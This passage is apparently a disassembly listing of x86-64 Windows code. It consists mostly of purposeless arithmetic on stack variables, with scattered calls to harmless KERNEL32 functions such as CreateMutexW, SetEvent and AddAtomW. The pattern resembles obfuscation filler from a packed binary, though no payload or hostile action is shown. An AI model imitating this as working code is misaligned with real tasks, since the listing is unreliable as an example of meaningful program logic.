mov rax, qword [rsp + 0x73f8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x6bc8]
mov dword [rcx], eax
lea rax, [rsp + 0x958]
mov qword [rsp + 0x7400], rax
mov rax, qword [rsp + 0x5788]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x390]
and eax, ecx
mov rcx, qword [rsp + 0x7120]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x2ca0]
mov rcx, qword [rsp + 0x2f10]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c330]
mov qword [rcx], rax
movzx eax, word [rsp + 0x390]
mov rcx, qword [rsp + 0x6298]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa98], ax
lea rax, [rsp + 0x2d88]
mov qword [rsp + 0x7408], rax
mov rax, qword [0x14018ad58]
mov rcx, qword [rsp + 0x35f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5d78]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1c7]
movsx ecx, byte [rsp + 0x1ad]
add eax, ecx
mov byte [rsp + 0x1a4], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2054], eax
mov rcx, qword [rsp + 0x5ab0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x6f70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x21bc]
shl eax, cl
mov rcx, qword [rsp + 0x47a8]
mov dword [rcx], eax
lea rax, [rsp + 0x21a4]
mov qword [rsp + 0x7410], rax
mov rax, qword [rsp + 0x42c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ff]
xor eax, ecx
mov rcx, qword [rsp + 0x6918]
mov byte [rcx], al
mov rax, qword [rsp + 0x57a0]
mov rcx, qword [rsp + 0x66a8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4d68], rax
lea rax, [0x14018c030]
mov qword [0x14018c648], rax
lea rax, [rsp + 0xdbc]
mov qword [rsp + 0x7418], rax
movzx eax, word [rsp + 0xed8]
movzx ecx, word [rsp + 0xd80]
sar eax, cl
mov word [rsp + 0xa9c], ax
lea rax, [rsp + 0x3c0]
mov qword [rsp + 0x7420], rax
movsx eax, byte [0x14018acd9]
mov rcx, qword [rsp + 0x5e80]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x13b], al
mov rax, qword [rsp + 0x6678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3220]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5ea0]
mov qword [rcx], rax
mov eax, dword [0x14018ad60]
mov dword [rsp + 0x221c], eax
mov rax, qword [rsp + 0x5660]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5918]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcc0], ax
lea rax, [rsp + 0xd7c]
mov qword [rsp + 0x7428], rax
mov rax, qword [rsp + 0x5450]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5f50]
sar rax, cl
mov qword [0x14018c540], rax
mov rax, qword [rsp + 0x4c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5230]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5700]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4268]
mov rcx, qword [rsp + 0x4648]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5e20]
mov qword [rcx], rax
mov rax, qword [0x14018c330]
mov rax, qword [rax]
mov qword [rsp + 0x7430], rax
mov rax, qword [rsp + 0x6ba8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4030]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6bd0]
mov word [rcx], ax
lea rax, [rsp + 0x1d08]
mov qword [rsp + 0x7438], rax
movzx eax, byte [rsp + 0xc6]
movzx ecx, byte [rsp + 0x1f6]
add eax, ecx
mov rcx, qword [rsp + 0x4968]
mov byte [rcx], al
lea rax, [rsp + 0x1b18]
mov qword [rsp + 0x7440], rax
mov rax, qword [rsp + 0x5190]
mov rcx, qword [rsp + 0x2b88]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6c28]
mov qword [rcx], rax
lea rax, [0x14018bdca]
mov qword [0x14018c650], rax
movsx eax, word [rsp + 0x7c8]
mov rcx, qword [rsp + 0x5a08]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4430]
mov word [rcx], ax
lea rax, [rsp + 0xd14]
mov qword [rsp + 0x7448], rax
movzx eax, word [rsp + 0x844]
mov rcx, qword [rsp + 0x5d88]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6f90]
mov word [rcx], ax
lea rax, [rsp + 0x5828]
mov qword [rsp + 0x7450], rax
mov eax, dword [rsp + 0x1bc8]
mov rcx, qword [rsp + 0x5f98]
mov qword [rsp + 0x7458], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7458]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x54d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6778]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3ed8]
mov qword [rsp + 0x7460], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7460]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x3640], rax
lea rax, [rsp + 0x1c9]
mov qword [rsp + 0x7468], rax
mov rax, qword [rsp + 0x4848]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6ed0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7170]
mov word [rcx], ax
lea rax, [rsp + 0xa9c]
mov qword [0x14018c658], rax
lea rax, [0x14018be90]
mov qword [rsp + 0x7470], rax
mov rax, qword [rsp + 0x5258]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x91c]
sub eax, ecx
mov rcx, qword [rsp + 0x7398]
mov word [rcx], ax
mov rax, qword [rsp + 0x7040]
mov rcx, qword [rsp + 0x6a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4a00]
mov dword [rcx], eax
lea rax, [rsp + 0x97]
mov qword [rsp + 0x7478], rax
movsx eax, byte [rsp + 0x13b]
mov rcx, qword [rsp + 0x45a0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6bb8]
mov byte [rcx], al
mov rax, qword [0x14018ada0]
mov rcx, qword [rsp + 0x6d98]
mov qword [rsp + 0x7480], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7480]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x3680], rax
mov rax, qword [rsp + 0x5d48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x21c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x219c], eax
mov rax, qword [rsp + 0x62b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xac4]
and eax, ecx
mov rcx, qword [rsp + 0x5888]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7178]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14018c450]
mov word [rcx], ax
lea rax, [rsp + 0x5f10]
mov qword [rsp + 0x7488], rax
mov rax, qword [rsp + 0x6908]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3820]
shl rax, cl
mov rcx, qword [rsp + 0x5ea8]
mov qword [rcx], rax
lea rax, [rsp + 0xc5c]
mov qword [rsp + 0x7490], rax
movzx eax, word [rsp + 0x97c]
movzx ecx, word [rsp + 0xce0]
or eax, ecx
mov rcx, qword [rsp + 0x6c98]
mov word [rcx], ax
lea rax, [rsp + 0x20a8]
mov qword [rsp + 0x7498], rax
mov rax, qword [rsp + 0x61f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14018ada0]
shr rax, cl
mov qword [rsp + 0x70a0], rax
movsx eax, byte [rsp + 0x1a4]
movsx ecx, byte [rsp + 0x1dd]
sub eax, ecx
mov rcx, qword [rsp + 0x54f8]
mov byte [rcx], al
lea rax, [rsp + 0x3820]
mov qword [rsp + 0x74a0], rax
mov rax, qword [rsp + 0x5188]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa1c]
add eax, ecx
mov rcx, qword [0x14018c388]
mov word [rcx], ax
mov rax, qword [rsp + 0x6250]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5db8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xee4], ax
mov rcx, qword [rsp + 0x40a0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x86]
mov qword [rsp + 0x74a8], rax
mov rax, qword [rsp + 0x5eb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1c54], eax
mov rax, qword [rsp + 0x6590]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x52c0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x63f0]
mov qword [rcx], rax
lea rax, [rsp + 0x1f40]
mov qword [rsp + 0x74b0], rax
mov rax, qword [rsp + 0x5e88]
mov rax, qword [rax]
mov rcx, qword [0x14018c098]
mov qword [rsp + 0x74b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x74b8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x6eb0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5550]
movzx eax, byte [rax]
mov byte [rsp + 0x200], al
movsx eax, word [rsp + 0xc7c]
mov rcx, qword [rsp + 0x61b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
movzx eax, word [rsp + 0xdf4]
mov rcx, qword [rsp + 0x5898]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14018adf8], ax
mov rax, qword [rsp + 0x61b0]
mov rcx, qword [rsp + 0x6eb8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2fc0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x205c], eax
lea rax, [rsp + 0xdf4]
mov qword [rsp + 0x74c0], rax
mov rax, qword [rsp + 0x6f30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5320]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3f98]
mov word [rcx], ax
mov rax, qword [rsp + 0x7158]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5328]
mov qword [rsp + 0x74c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x74c8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3850], rax
mov rax, qword [0x14018c0e8]
mov rcx, qword [rsp + 0x55a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6388]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x74d0], rax
mov eax, dword [rsp + 0x21f4]
mov rcx, qword [rsp + 0x5398]
mov qword [rsp + 0x74d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x74d8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5078]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xaa]
mov byte [rsp + 0x201], al
movzx eax, word [0x14018bea8]
movzx ecx, word [rsp + 0x404]
add eax, ecx
mov rcx, qword [rsp + 0x4370]
mov word [rcx], ax
mov rax, qword [rsp + 0x6548]
mov rax, qword [rax]
mov qword [0x14018c660], rax
lea rax, [rsp + 0x2190]
mov qword [rsp + 0x74e0], rax
movzx eax, byte [rsp + 0x97]
mov rcx, qword [rsp + 0x4e88]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7060]
mov byte [rcx], al
mov rax, qword [rsp + 0x6cf8]
movzx eax, word [rax]
mov word [rsp + 0xefc], ax
movzx ecx, word [rsp + 0xe94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe24], ax
movzx eax, word [rsp + 0xed0]
movzx ecx, word [rsp + 0xd9c]
and eax, ecx
mov word [rsp + 0xdec], ax
lea rcx, [rsp + 0x15878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x5d60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x21c8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x74b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6d80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3360], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x74e8], rax
movsx eax, byte [rsp + 0x1e8]
mov rcx, qword [0x14018bee0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6718]
mov byte [rcx], al
lea rax, [rsp + 0xc6c]
mov qword [rsp + 0x74f0], rax
mov rax, qword [rsp + 0x5438]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6808]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018c0f8]
mov word [rcx], ax
mov rax, qword [0x14018ad88]
mov rcx, qword [rsp + 0x2fc8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5e20]
mov rcx, qword [rsp + 0x5ce0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5d20]
mov qword [rcx], rax
lea rax, [rsp + 0x3650]
mov qword [rsp + 0x74f8], rax
movsx eax, word [rsp + 0xcec]
mov rcx, qword [0x14018bff0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x7c8], ax
lea rax, [rsp + 0x10e]
mov qword [rsp + 0x7500], rax
mov rax, qword [rsp + 0x5a70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1ca8]
shl eax, cl
mov rcx, qword [rsp + 0x5b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2e78]
mov rcx, qword [0x14018be10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2e70], rax
movzx eax, byte [rsp + 0x1c8]
mov byte [rsp + 0x202], al
mov rax, qword [rsp + 0x6508]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x21b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d08], eax
mov rax, qword [rsp + 0x6f80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4080]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14018c3d8]
mov word [rcx], ax
movzx eax, word [rsp + 0xe9c]
mov rcx, qword [rsp + 0x4908]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb98], ax
mov rax, qword [rsp + 0x6090]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4220]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x404], ax
mov rax, qword [rsp + 0x4300]
mov rax, qword [rax]
mov qword [rsp + 0x7508], rax
mov rax, qword [rsp + 0x5a70]
mov rcx, qword [rsp + 0x6190]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1f44], eax
mov rax, qword [rsp + 0x6fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x44f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5120]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x40a0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x21f0], eax
lea rax, [rsp + 0x19f]
mov qword [rsp + 0x7510], rax
mov rax, qword [rsp + 0x4be0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6210]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4a60]
mov word [rcx], ax
movzx eax, word [0x14018c158]
mov word [rsp + 0xf00], ax
lea rax, [rsp + 0x42d8]
mov qword [0x14018c668], rax
movzx eax, word [rsp + 0x438]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd68], ax
mov rax, qword [0x14018ace8]
mov rcx, qword [rsp + 0x50b0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x62e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6048]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x54a0]
shl rax, cl
mov qword [rsp + 0x3100], rax
mov rax, qword [rsp + 0x2fa8]
mov rcx, qword [rsp + 0x4c60]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4cd0]
mov qword [rcx], rax
lea rax, [rsp + 0x200]
mov qword [rsp + 0x7518], rax
movzx eax, byte [rsp + 0x1ae]
movzx ecx, byte [rsp + 0x1e1]
sub eax, ecx
mov byte [rsp + 0x1ed], al
mov r9d, 0x1881
xor r8d, r8d
lea rdx, [rsp + 0x63e8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x211c], eax
mov rax, qword [rsp + 0x44b0]
mov ecx, dword [rsp + 0x21cc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x21a4], eax
lea rax, [rsp + 0x2188]
mov qword [rsp + 0x7520], rax
movsx eax, word [rsp + 0xc84]
movsx ecx, word [rsp + 0xd0c]
add eax, ecx
mov word [0x14018adfc], ax
movsx eax, word [rsp + 0xc88]
movsx ecx, word [rsp + 0x69c]
and eax, ecx
mov rcx, qword [rsp + 0x4970]
mov word [rcx], ax
mov rax, qword [rsp + 0x5290]
movzx eax, word [rax]
mov word [rsp + 0xf04], ax
mov rax, qword [rsp + 0x5960]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x53c8]
mov word [rcx], ax
mov rax, qword [0x14018c628]
mov rcx, qword [rsp + 0x3358]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3670], rax
mov eax, dword [rsp + 0x2134]
mov ecx, dword [rsp + 0x2040]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d2c], eax
mov rax, qword [rsp + 0x47d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5b38]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f4], al
lea rax, [0x14018be7c]
mov qword [rsp + 0x7528], rax
mov rax, qword [rsp + 0x6518]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x654]
and eax, ecx
mov word [rsp + 0xcf8], ax
mov rax, qword [rsp + 0x7190]
mov rcx, qword [rsp + 0x49c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14018bf20]
mov qword [rcx], rax
mov rax, qword [0x14018c660]
mov qword [rsp + 0x7530], rax
mov rax, qword [rsp + 0x3618]
mov rcx, qword [rsp + 0x5668]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5d68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4508]
mov qword [rsp + 0x7538], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7538]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3a10], rax
lea rax, [rsp + 0xdf4]
mov qword [rsp + 0x7540], rax
movzx eax, byte [rsp + 0x1bf]
movzx ecx, byte [rsp + 0x86]
xor eax, ecx
mov rcx, qword [rsp + 0x5988]
mov byte [rcx], al
mov rax, qword [rsp + 0x4548]
mov eax, dword [rax]
mov dword [rsp + 0x2220], eax
mov rax, qword [rsp + 0x6510]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5d40]
mov qword [rsp + 0x7548], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7548]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x6220]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4260]
mov ecx, dword [rsp + 0x20a8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2150], eax
mov rax, qword [rsp + 0x5d00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xed]
add eax, ecx
mov rcx, qword [0x14018bee0]
mov byte [rcx], al
lea rax, [rsp + 0x970]
mov qword [rsp + 0x7550], rax
movsx eax, word [rsp + 0xcdc]
movsx ecx, word [rsp + 0x7c8]
sub eax, ecx
mov rcx, qword [rsp + 0x6928]
mov word [rcx], ax
mov rax, qword [rsp + 0x5c60]
movzx eax, word [rax]
movzx ecx, word [0x14018ad3c]
sar eax, cl
mov word [rsp + 0xae4], ax
mov rax, qword [rsp + 0x6d50]
mov rcx, qword [rsp + 0x2ac8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2c78], rax
mov rax, qword [rsp + 0x3640]
mov rcx, qword [rsp + 0x65c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x66e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5b10]
movzx eax, byte [rax]
mov byte [rsp + 0x203], al
mov rax, qword [rsp + 0x3dc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x21dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5350]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc6c]
movsx ecx, word [0x14018bdc4]
and eax, ecx
mov word [rsp + 0x588], ax
lea rax, [rsp + 0x4d4]
mov qword [0x14018c670], rax
mov rax, qword [rsp + 0x6ee0]
mov rcx, qword [rsp + 0x5690]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5dc8]
mov qword [rcx], rax
lea rax, [rsp + 0xba8]
mov qword [rsp + 0x7558], rax
mov rax, qword [rsp + 0x7298]
mov rcx, qword [rsp + 0x6b78]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5b78]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x15d]
mov rcx, qword [rsp + 0x4fb8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5aa0]
mov byte [rcx], al
lea rax, [rsp + 0x1bec]
mov qword [rsp + 0x7560], rax
mov rax, qword [rsp + 0x6778]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ed8]
mov qword [rsp + 0x7568], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7568]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x6388]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1f0]
mov byte [rsp + 0x204], al
movsx eax, word [rsp + 0x3ac]
movsx ecx, word [rsp + 0x7c8]
sub eax, ecx
mov word [rsp + 0xc70], ax
mov rax, qword [0x14018c208]
movzx eax, word [rax]
mov word [0x14018c678], ax
lea rcx, str.3eBU
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf08], ax
mov rax, qword [rsp + 0x59a0]
mov rcx, qword [rsp + 0x69c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x39a8], rax
lea rax, [rsp + 0x36e0]
mov qword [rsp + 0x7570], rax
movsx eax, word [0x14018bdc4]
movsx ecx, word [rsp + 0x548]
and eax, ecx
mov rcx, qword [rsp + 0x7418]
mov word [rcx], ax
lea rax, [rsp + 0x864]
mov qword [rsp + 0x7578], rax
mov eax, dword [rsp + 0x1c58]
mov ecx, dword [rsp + 0x1b30]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4708]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5920]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3c98]
mov qword [rsp + 0x7580], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7580]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x5ec8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x78]
mov rcx, qword [rsp + 0x5e10]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0x4df0]
mov rcx, qword [0x14018c0c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6ee0]
mov qword [rcx], rax
movsx eax, word [rsp + 0xe44]
mov rcx, qword [rsp + 0x5b50]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14018addc], ax
lea rax, [rsp + 0xde0]
mov qword [rsp + 0x7588], rax
mov rax, qword [rsp + 0x6100]
mov ecx, dword [rsp + 0x21e4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x47a0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1e4]
mov rcx, qword [rsp + 0x58d8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x15d], al
lea rax, [rsp + 0x42d8]
mov qword [rsp + 0x7590], rax
mov rax, qword [rsp + 0x5c00]
mov rcx, qword [rsp + 0x59e0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4cd0]
mov qword [rcx], rax
lea rax, [rsp + 0x1c64]
mov qword [rsp + 0x7598], rax
mov rax, qword [rsp + 0x4870]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6c18]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x71d0]
mov byte [rcx], al
lea rax, [0x14018c5d0]
mov qword [rsp + 0x75a0], rax
movzx eax, word [rsp + 0x91c]
movzx ecx, word [rsp + 0xda8]
sub eax, ecx
mov rcx, qword [0x14018c280]
mov word [rcx], ax
mov rax, qword [rsp + 0x49a0]
mov rcx, qword [rsp + 0x69b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x52d0], rax
movzx eax, word [0x14018ade4]
movzx ecx, word [rsp + 0xa44]
add eax, ecx
mov word [rsp + 0xdd0], ax
lea rax, [rsp + 0xe64]
mov qword [rsp + 0x75a8], rax
mov rax, qword [rsp + 0x5c78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7508]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4300]
mov qword [rcx], rax
lea rax, [0x14018be10]
mov qword [rsp + 0x75b0], rax
mov rax, qword [rsp + 0x4708]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d88]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x219c], eax
movsx eax, byte [rsp + 0x1fb]
movsx ecx, byte [0x14018bdca]
and eax, ecx
mov rcx, qword [rsp + 0x5430]
mov byte [rcx], al
mov rax, qword [rsp + 0x7588]
movzx eax, word [rax]
mov word [rsp + 0xf0c], ax
lea rax, [rsp + 0x7318]
mov qword [0x14018c680], rax
mov eax, dword [rsp + 0x2108]
mov rcx, qword [rsp + 0x6420]
mov qword [rsp + 0x75b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x75b8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4d90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x64e0]
movzx eax, byte [rax]
mov byte [rsp + 0x205], al
movsx eax, word [rsp + 0x3ac]
movsx ecx, word [rsp + 0xe1c]
add eax, ecx
mov rcx, qword [rsp + 0x7330]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ac8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3e98]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4030]
mov word [rcx], ax
movsx eax, byte [0x14018acdb]
mov rcx, qword [rsp + 0x53d8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x85], al
mov rax, qword [rsp + 0x4128]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x71b8]
shl rax, cl
mov rcx, qword [rsp + 0x66e8]
mov qword [rcx], rax
lea rax, [rsp + 0x21d8]
mov qword [rsp + 0x75c0], rax
mov rax, qword [0x14018c090]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6ae8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6198]
mov word [rcx], ax
movzx eax, word [rsp + 0x764]
movzx ecx, word [rsp + 0x994]
add eax, ecx
mov rcx, qword [0x14018be80]
mov word [rcx], ax
mov rax, qword [rsp + 0x5bc8]
mov rcx, qword [rsp + 0x5dc8]
mov qword [rsp + 0x75c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x75c8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x6b68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x33c8]
mov qword [rsp + 0x75d0], rax
mov rax, qword [rsp + 0x5bc8]
mov rcx, qword [rsp + 0x5bf8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x51d0]
mov qword [rcx], rax
lea rax, [0x14018bf4c]
mov qword [rsp + 0x75d8], rax
movsx eax, byte [rsp + 0xed]
movsx ecx, byte [rsp + 0x204]
and eax, ecx
mov rcx, qword [rsp + 0x63c0]
mov byte [rcx], al
lea rax, [rsp + 0x2b40]
mov qword [rsp + 0x75e0], rax
mov rax, qword [rsp + 0x62f8]
mov ecx, dword [0x14018be78]
mov eax, dword [rax]
sub eax, ecx
